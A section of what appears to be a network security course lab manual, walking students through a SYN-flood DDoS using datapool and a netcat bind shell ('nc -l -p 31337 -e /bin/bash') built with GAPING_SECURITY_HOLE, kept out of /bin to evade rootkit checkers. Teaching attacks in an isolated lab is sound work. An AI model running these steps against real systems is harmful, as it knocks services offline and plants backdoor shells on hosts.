Section 10: Distributed Denial of Service (DDoS) attacks This section explains how to do a DDoS utilizing tools covered in previous labs such as netcat and the datapool Denial of Service (DOS) tool. In the previous lab with datapool, a very high speed was used for the outgoing packets. This is fesable on a lan but for attacking a remote machine you are limited by your connection speed. So to overwhelm a server with a 100MBit connection to the Internet via slow 1.5MBit DSL connections, it helps to have a large number of machines at your disposal working together.
A Distributed Denial of Service attack can be espically effective against well protected high availability infrastructure. The amount of traffic generated can overload not only the server(s), but can take out switches and the actual network connections to the machine(s) or even the data center(s) being attacked. If you are an attacker with machines at your disposal and a high profile target, this is the attack for you.
This section explains how to do a DDoS with 2 machines, but the methods used are valid for many many more. Ideally, you would compile all of the binaries and configure a single payloat to copy to the remote machines that you have compromised and have root access on, but in this lab we have you install the tools on each machine manually because its quicker to do so.
Exercise 1: Install Needed Tools On both Redhat 7.2 machines:
Copy the file Tools/Linux/tools/netcat.tar.gz from the Network Attached Storage to your machine. Type
#tar -xzvf netcat.tar.gz
This extracts the files, then cd netcat to enter the netcat directory. Since netcat does not come compiled with the ability to run binaries as the result of a connection, you must edit the makefile to add support for this. Edit the Makefile to show the following changes:
CFLAGS = -O
should be changed to
CFLAGS = -O -DGAPING_SECURITY_HOLE
Q10.1 – Why is this considered a "gaping security hole"? Type make linux.Normally you might do a make install or copy the binary to /bin, but a root kit checker would notice a change in a binary like this so we keep it in the current directory.
Then run the command
#./nc -l -p 31337 -e /bin/bash
You can change the port, but write it down because you will need it later on. This just mounts a remote shell onto the specified port for our distributed tool to connect to later.
Also install datapool. This will be the tool we use to run the denial of service attack. Copy the file Lab3/datapool3.3.tar.gz from the Network Attached Storage. Type tar -xzvf datapool3.3.tar.gzto extra the file, then cd datapool to enter the directory. We will be running a synful attack, so edit the file datapool.fc to change the attack to port 80 since we are attacking a web server. Also edit the datapool.sh file to change create a new attack speed option, LAN, with a speed factor of at least 20. (If you don't remember how to do this, look in the instructions for Lab 3)
On the Redhat 8.0 machine, make sure the apache webserver is running.
Run /etc/init.d/httpd start to start up the webserver On one of your windows XP machines, open up Internet Explorer and connect to your Redhat 8.0 machine to confirm that the web server is up and running.
Exercise 2: Begin the Attack Then we start the attack with the following commands:
Open up a terminal in RedHat 8.0 (the port should be the same as earlier in the lab):
#./path/to/datapool.sh -d RH8_MACHINE_IP -l LAN -r synful -c [Attachment 1: screenshot of attacks running]
If you were really doing this attack for real, you would use a script or program to launch off all of the attacks at once, but given that we have only two machines at our disposal and that perl would need to be recompiled with threads support to do it right, our manual approach will work for now.
Now, fire up Internet Explorer on your Windows XP machine again and see if you can connect to your server. It should time out trying to obtain a connection.
To see what is going on, open up ethereal on your RedHat 8.0 machine. Tell it to stop after receiving 1000 packets or so. You should see a large number of TCP SYN connects to your RedHat 8.0 machine from your two RedHat 7.2 machines.
[Attachment 2: screenshot of ethereal]
Q10.2 – Why did we choose to run the synful attack?